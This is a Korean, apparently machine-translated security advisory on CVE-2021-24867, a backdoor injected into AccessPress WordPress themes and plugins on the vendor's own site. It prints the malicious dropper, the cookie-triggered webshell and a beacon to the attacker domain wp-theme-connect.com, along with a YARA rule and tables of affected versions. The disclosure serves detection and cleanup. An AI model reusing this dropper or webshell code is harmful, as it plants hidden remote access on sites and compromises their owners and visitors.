AccessPress 테마의 테마 및 플러그인에서 백도어 발견

게시 됨: 2022-01-19

2월 1일 업데이트 – 테마의 새 버전이 나타나기 시작했음을 반영하도록 "영향을 받는 테마" 섹션을 변경했습니다.

손상된 사이트를 조사하는 동안 많은 인기 있는 테마와 플러그인을 제공하는 공급업체인 AccessPress Themes(일명 Access Keys)의 테마에서 의심스러운 코드를 발견했습니다. 추가 조사에서 공급업체의 모든 테마와 대부분의 플러그인에 이 의심스러운 코드가 포함되어 있지만 자체 웹사이트에서 다운로드한 경우에만 발견되었습니다. WordPress.org 디렉토리에서 직접 다운로드하거나 설치하면 동일한 확장이 문제가 되지 않습니다.

확장 기능이 손상된 방식으로 인해 우리는 외부 공격자가 AccessPress 테마 웹사이트를 침입하여 확장 기능을 사용하여 추가 사이트를 감염시키려는 것으로 의심했습니다.

우리는 즉시 공급업체에 연락했지만 처음에는 응답을 받지 못했습니다. WordPress.org 플러그인 팀으로 에스컬레이션한 후 의심이 확인되었습니다. AccessPress 테마 웹사이트는 2021년 9월 상반기에 침해되었으며 해당 사이트에서 다운로드할 수 있는 확장 프로그램에 백도어가 주입되었습니다.

공급업체와 의사 소통할 수 있는 채널을 구축한 후 자세한 결과를 공급업체와 공유했습니다. 그들은 즉시 웹 사이트에서 문제가 되는 확장을 제거했습니다.

이후 대부분의 플러그인이 업데이트되었으며 알려진 클린 버전이 이 게시물 하단에 나열됩니다. 그러나 영향을 받는 테마는 업데이트되지 않았으며 WordPress.org 테마 저장소에서 가져옵니다. 이 게시물 하단에 나열된 테마가 사이트에 설치되어 있는 경우 가능한 한 빨리 새 테마로 마이그레이션하는 것이 좋습니다.

이 공개는 플러그인과 테마 모두에서 많은 수의 확장에 관한 것입니다. 아래 목록으로 건너뛰거나 자세한 내용을 읽으십시오.

세부:

공급업체: AccessPress 테마
공급업체 URL: https://accesspressthemes.com
플러그인: 다중
테마: 여러
CVE: CVE-2021-24867

분석:

감염된 확장 프로그램에는 공격자에게 감염된 사이트에 대한 전체 액세스 권한을 부여하는 웹쉘용 드롭퍼가 포함되어 있습니다. 드로퍼는 메인 플러그인 또는 테마 디렉토리에 있는 inital.php 파일에 있습니다. 실행할 때 wp-includes/vars.php 에 쿠키 기반 웹쉘을 설치합니다. 쉘은 wp_is_mobile_fix() 라는 이름으로 wp_is_mobile_fix() wp_is_mobile() 바로 앞에 함수로 설치됩니다. 이것은 아마도 vars.php 파일을 우연히 스크롤하는 사람에게 의심을 불러일으키지 않기 위한 것입니다.

function makeInit() {
    $b64 = 'ba' . 'se64' . '_dec' . 'ode';
    $b = 'ZnVuY3Rpb2........TsKCg==';

    $f = $_SERVER['DOCUMENT_ROOT'] . '/wp-includes/vars.php';
    if(file_exists($f)) {
        $fp = 0777 & @fileperms($f);
        $ft = @filemtime($f);
        $fc = @file_get_contents($f);
        if(strpos($fc, 'wp_is_mobile_fix') === false) {
            $fc = str_replace('function wp_is_mobile()',
                $b64($b) . 'function wp_is_mobile()',
                $fc);
            @file_put_contents($f, $fc);
            @touch($f, $ft);
            @chmod($f, $fp);
        }
        return true;
    }
    return false;
}

쉘이 설치되면 dropper는 URL hxxps://www.wp-theme-connect.com/images/wp-theme.jpg 에서 원격 이미지를 로드하여 감염된 사이트의 URL 및 정보 쿼리 인수로 사용하는 테마입니다. 마지막으로 요청 실행이 완료될 때 감지를 피하기 위해 드로퍼 소스 파일을 제거합니다.

function finishInit() {
    unlink(__FILE__);
}

add_action( 'admin_notices', 'wp_notice_plug', 20 );
if ( !function_exists( 'wp_notice_plug' ) ) {

    function wp_notice_plug() {
        echo '<img style="display: none;" src="https://www.wp-theme-connect.com/images/wp-theme.jpg?ph=' . $_SERVER["HTTP_HOST"] . '&phn=accesspress-anonymous-post">';
    }

}
register_shutdown_function('finishInit');

요청의 사용자 에이전트 문자열이 wp_is_mobile 이고 요청에 8개의 특정 쿠키가 포함된 경우 웹쉘 자체가 트리거됩니다. 함께 조각되어 제공된 이러한 쿠키에서 페이로드를 실행합니다.

	$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');
	$g = $_COOKIE;

	(count($g) == 8 && $is_wp_mobile) ?
	(($qr = $g[33].$g[32]) && ($iv = $qr($g[78].$g[18])) &&
	($_iv = $qr($g[12].$g[17])) && ($_iv = @$iv($g[10], $_iv($qr($g[53])))) && 
	@$_iv()) : $g;

우리는 또한 테마/플러그인의 functions.php 파일에 직접 내장된 백도어의 아마도 더 오래된 변종을 보았습니다. 이 변종은 8개의 쿠키에서 페이로드를 함께 연결하는 동일한 메커니즘을 사용하지만 요청의 사용자 에이전트 문자열을 필터링하지 않습니다.

드로퍼가 제대로 실행될 수 있도록 메인 플러그인 파일(플러그인용) 또는 functions.php 파일(테마용)을 inital.php 파일이 있는 경우 실행하는 코드로 수정했습니다.

if(is_admin()) {
    add_action( "init", 'apap_plugin_check' );
}

function apap_plugin_check(){
    if(file_exists(__DIR__ . "/inital.php")){
        include(__DIR__ . "/inital.php");
    }
}

손상된 플러그인의 타임스탬프에서 한 가지 놀라운 세부 사항은 모두 9월 초에 생성되었다는 것입니다. 대부분은 9월 6일과 7일에 있으며 일부 파일은 9월 2일과 3일에 있습니다. 마찬가지로 테마의 경우 9월 9일의 accessbuddy 를 제외하고 모두 9월 22일에 손상되었습니다.

또한 zip 아카이브 내의 타임스탬프는 수정된 기본 플러그인 파일과 몇 분 후에(보통 약 2-5분 후에 스탬프가 찍힌 추가된 드로퍼 파일을 제외하고) 정확히 동일한 타임스탬프를 가진 거의 모든 파일과 함께 매우 균일합니다. 아카이브의 다른 파일).

그러나 wordpress.org 저장소에서 다운로드한 zip 파일의 타임스탬프를 보면 플러그인/테마가 실제로 업데이트된 시점에 해당하는 타임스탬프 분포를 찾을 수 있습니다. 또한 아카이브 내의 타임스탬프 분포가 덜 균일하며 릴리스에서 업데이트된 파일과 이전 릴리스에서 변경되지 않은 파일을 반영합니다.

이것은 AccessPress Themes 웹사이트의 파일이 의도적으로 수정되었으며 원래 릴리스된 후 조정된 조치로 수정되었음을 시사합니다. 타협은 플러그인을 위한 단계와 테마를 위한 단계의 두 단계로 수행된 것 같습니다. 그들 각각은 프로세스를 미세 조정하기 위해 몇 가지 더 일찍 시도했습니다.

우리의 조사는 AccessPress 테마 웹사이트에서 무료로 제공되는 테마와 플러그인만을 살펴보았습니다. 우리는 그들의 유료 프로 테마가 유사하게 영향을 받는다고 가정하지만, 우리는 이것들을 조사하지 않았습니다. 이러한 항목이 있는 경우 AccessPress 테마 지원팀에 문의하여 추가 조언을 받으십시오.

영향을 받는 테마

사이트에 잘못된 열에 버전 번호가 있는 다음 테마가 설치되어 있는 경우 즉시 정리 열에 있는 버전으로 업그레이드하는 것이 좋습니다. WordPress.org를 통해 설치된 테마는 불량 열에 나열되어 있어도 깨끗합니다. 안전을 위해 알려진 깨끗한 버전으로 업그레이드하는 것이 좋습니다.

Clean 열에 버전 번호가 없는 테마는 아직 업그레이드되지 않았으므로 가능하면 다른 테마로 교체하는 것이 좋습니다.

테마 슬러그 나쁜 깨끗한
액세스 친구 1.0.0
accesspress 기본 3.2.1 3.2.2
accesspress-lite 2.92 2.93
accesspress-mag 2.6.5 2.6.6
accesspress-시차 4.5 4.6
액세스 프레스 레이 1.19.5
accesspress-루트 2.5 2.6.0
액세스 프레스 스테이플 1.9.1
액세스 프레스 스토어 2.4.9 2.5.0
에이전시 라이트 1.1.6 1.1.7
애플라이트 1.0.6
빙글 1.0.4 1.0.5
블로거 1.2.6 1.2.7
건설 라이트 1.2.5 1.2.6
도코 1.0.27 1.1.0
밝히다 1.3.5 1.3.6
매점 1.2.1
사진 2.4.0 2.4.1
가가코프 1.0.8
가가라이트 1.4.2
한 페이지 2.2.8
시차 블로그 3.1.1574941215
시차 1.3.6 1.3.7
푼테 1.1.2 1.1.3
회전하다 1.3.1
리플 1.2.0 1.2.1
스크롤미 2.1.0
스포츠 잡지 1.2.1
점포 별장 1.4.1 1.4.2
스윙 라이트 1.1.9 1.2.0
더 런처 1.3.2 1.3.3
월요일 1.4.1
언코드 라이트 1.3.1
유니콘 라이트 1.2.6 1.2.7
vmag 1.2.7 1.2.8
vmagazine-lite 1.3.5 1.3.7
vmagazine-news 1.0.5 1.0.6
지그시 베이비 1.0.6 1.0.7
지그시 화장품 1.0.5 1.0.6
지그시 라이트 2.0.9 2.1.0
표 1: 공격에 의해 손상된 테마 및 버전.

영향을 받는 플러그인

사이트에 잘못된 열에 버전 번호가 있는 다음 플러그인이 설치되어 있는 경우 즉시 정리 열에 있는 버전으로 업그레이드하는 것이 좋습니다. WordPress.org를 통해 설치된 플러그인은 불량 열에 나열되어 있어도 깨끗합니다. 안전을 위해 알려진 깨끗한 버전으로 업그레이드하는 것이 좋습니다.

Clean 열에 버전 번호가 없는 플러그인은 아직 업그레이드되지 않았으므로 가능하면 다른 플러그인으로 교체하는 것이 좋습니다.

플러그인 슬러그 나쁜 깨끗한 메모
accesspress-익명-게시물 2.8.0 2.8.1 1
accesspress 맞춤 CSS 2.0.1 2.0.2
accesspress-custom-post-type 1.0.8 1.0.9
accesspress-facebook-auto-post 2.1.3 2.1.4
accesspress-instagram-피드 4.0.3 4.0.4
accesspress-pinterest 3.3.3 3.3.4
accesspress 소셜 카운터 1.9.1 1.9.2
accesspress-소셜-아이콘 1.8.2 1.8.3
accesspress-소셜-로그인-라이트 3.4.7 3.4.8
accesspress-소셜-공유 4.5.5 4.5.6
accesspress-twitter-auto-post 1.4.5 1.4.6
accesspress-twitter-feed 1.6.7 1.6.8
ak-menu-icons-lite 1.0.9
앱 컴패니언 1.0.7 2
ap-연락처 양식 1.0.6 1.0.7
ap-custom-testimonial 1.4.6 1.4.7
ap 메가 메뉴 3.0.5 3.0.6
ap-pricing-tables-lite 1.1.2 1.1.3
에이펙스 알림 바 라이트 2.0.4 2.0.5
cf7-store-to-db-lite 1.0.9 1.1.0
댓글 비활성화 액세스 1.0.7 1.0.8
easy-side-tab-cta 1.0.7 1.0.8
에베레스트 관리 테마 라이트 1.0.7 1.0.8
에베레스트 곧 라이트 1.1.0 1.1.1
에베레스트 댓글 평가 라이트 2.0.4 2.0.5
에베레스트 카운터 라이트 2.0.7 2.0.8
에베레스트 자주 묻는 질문 관리자 라이트 1.0.8 1.0.9
에베레스트 갤러리 라이트 1.0.8 1.0.9
Everest-google-places-reviews-lite 1.0.9 2.0.0
에베레스트 리뷰 라이트 1.0.7
에베레스트 탭 라이트 2.0.3 2.0.4
에베레스트 타임라인 라이트 1.1.1 1.1.2
인라인 클릭 유도문안 빌더 라이트 1.1.0 1.1.1
product-slider-for-woocommerce-lite 1.1.5 1.1.6
스마트 로고 쇼케이스 라이트 1.1.7 1.1.8
스마트 스크롤 포스트 2.0.8 2.0.9
스마트 스크롤 투 탑 라이트 1.0.3 1.0.4
total-gdpr-compliance-lite 1.0.4
토탈 팀 라이트 1.1.1 1.1.2
궁극의 작가 상자 라이트 1.1.2 1.1.3
궁극적인 형태의 빌더 라이트 1.5.0 1.5.1
woo-badge-designer-lite 1.1.0 1.1.1
wp-1-슬라이더 1.2.9 1.3.0
wp-blog-manager-lite 1.1.0 1.1.2
wp-comment-designer-lite 2.0.3 2.0.4
wp 쿠키 사용자 정보 1.0.7 1.0.8
wp-facebook-review-showcase-lite 1.0.9
wp-fb-messenger-button-lite 2.0.7
wp 부동 메뉴 1.4.4 1.4.5
wp-media-manager-lite 1.1.2 1.1.3
wp-팝업 배너 1.2.3 1.2.4
wp 팝업 라이트 1.0.8
wp-product-gallery-lite 1.1.1
표 2: 플러그인, 공격에 의해 손상된 버전 및 알려진 클린 버전,

노트:

  1. 이 플러그인은 업데이트되지 않았지만 AccessPress 테마 웹사이트의 버전이 이전 버전이었기 때문에 깨끗한 것으로 여겨집니다.
  2. 이 플러그인은 업데이트되지 않았지만 원래 AccessPress 테마 웹사이트에서 사용할 수 없었기 때문에 깨끗한 것으로 여겨집니다.

IOC의

다음 YARA 규칙을 사용하여 사이트가 감염되었는지 확인할 수 있습니다. 감염의 드롭퍼 부분과 설치된 웹쉘을 모두 감지합니다.

rule accesspress_backdoor_infection
{
strings:

   // IoC's for the dropper
   $inject0 = "$fc = str_replace('function wp_is_mobile()',"
   $inject1 = "$b64($b) . 'function wp_is_mobile()',"
   $inject2 = "$fc);"
   $inject3 = "@file_put_contents($f, $fc);"

   // IoC's for the dumped payload
   $payload0 = "function wp_is_mobile_fix()"
   $payload1 = "$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');"
   $payload2 = "$g = $_COOKIE;"
   $payload3 = "(count($g) == 8 && $is_wp_mobile) ?"

   $url0 = /https?:\/\/(www\.)?wp\-theme\-connect\.com(\/images\/wp\-theme\.jpg)?/

condition:

   all of ( $inject* )
   or all of ( $payload* )
   or $url0
}

권장 사항

AccessPress Themes 또는 WordPress.org를 제외한 다른 곳에서 직접 설치된 테마 또는 플러그인이 있는 경우 위 표에 표시된 대로 즉시 안전한 버전으로 업그레이드해야 합니다. 안전한 버전이 없으면 WordPress.org의 최신 버전으로 교체하십시오.

이것은 시스템에서 백도어를 제거하지 않으므로 백도어를 설치하는 동안 수행된 코어 파일 수정을 되돌리려면 WordPress의 깨끗한 버전을 다시 설치해야 합니다.

AccessPress 테마/액세스 키의 유료 테마 또는 플러그인이 있는 경우 지원팀에 도움을 요청하는 것이 좋습니다.

악성 파일 검색 및 백업을 포함하는 사이트 보안 계획을 세우는 것이 좋습니다. Jetpack Security는 사이트와 방문자의 안전을 보장하는 훌륭한 WordPress 보안 옵션입니다. Jetpack Scan은 9월 30일부터 이 백도어와 드로퍼의 모든 변종을 감지했습니다.

타임라인

2021-09-22: Jetpack Scan 팀은 FotoGraphy 테마에서 드로퍼와 백도어를 발견하고 초기 발견에 대해 공급업체에 문의하려고 합니다.

2021-09-27: 공급업체 웹사이트에서 다운로드한 모든 현재 무료 플러그인 및 테마에 드로퍼 + 백도어가 있는지 확인합니다.

2021-09-28: wordpress.org에서 다운로드할 때 드롭퍼 + 백도어가 없는지 확인

2021-09-29: 새로운 발견에 대한 업데이트와 함께 공급업체에 다시 연락을 시도합니다.

2021-10-14: 공급업체와 연락을 취하기 위해 WordPress 플러그인 팀으로 에스컬레이션했습니다.

2021-10-15: 손상된 확장은 공급업체 사이트에서 제거됩니다.

2021-10-16: 공급업체의 응답

2022-01-17: 대부분의 플러그인이 새 버전으로 업그레이드되었으며 테마는 WordPress.org에서 가져왔습니다.

2022-01-18 공시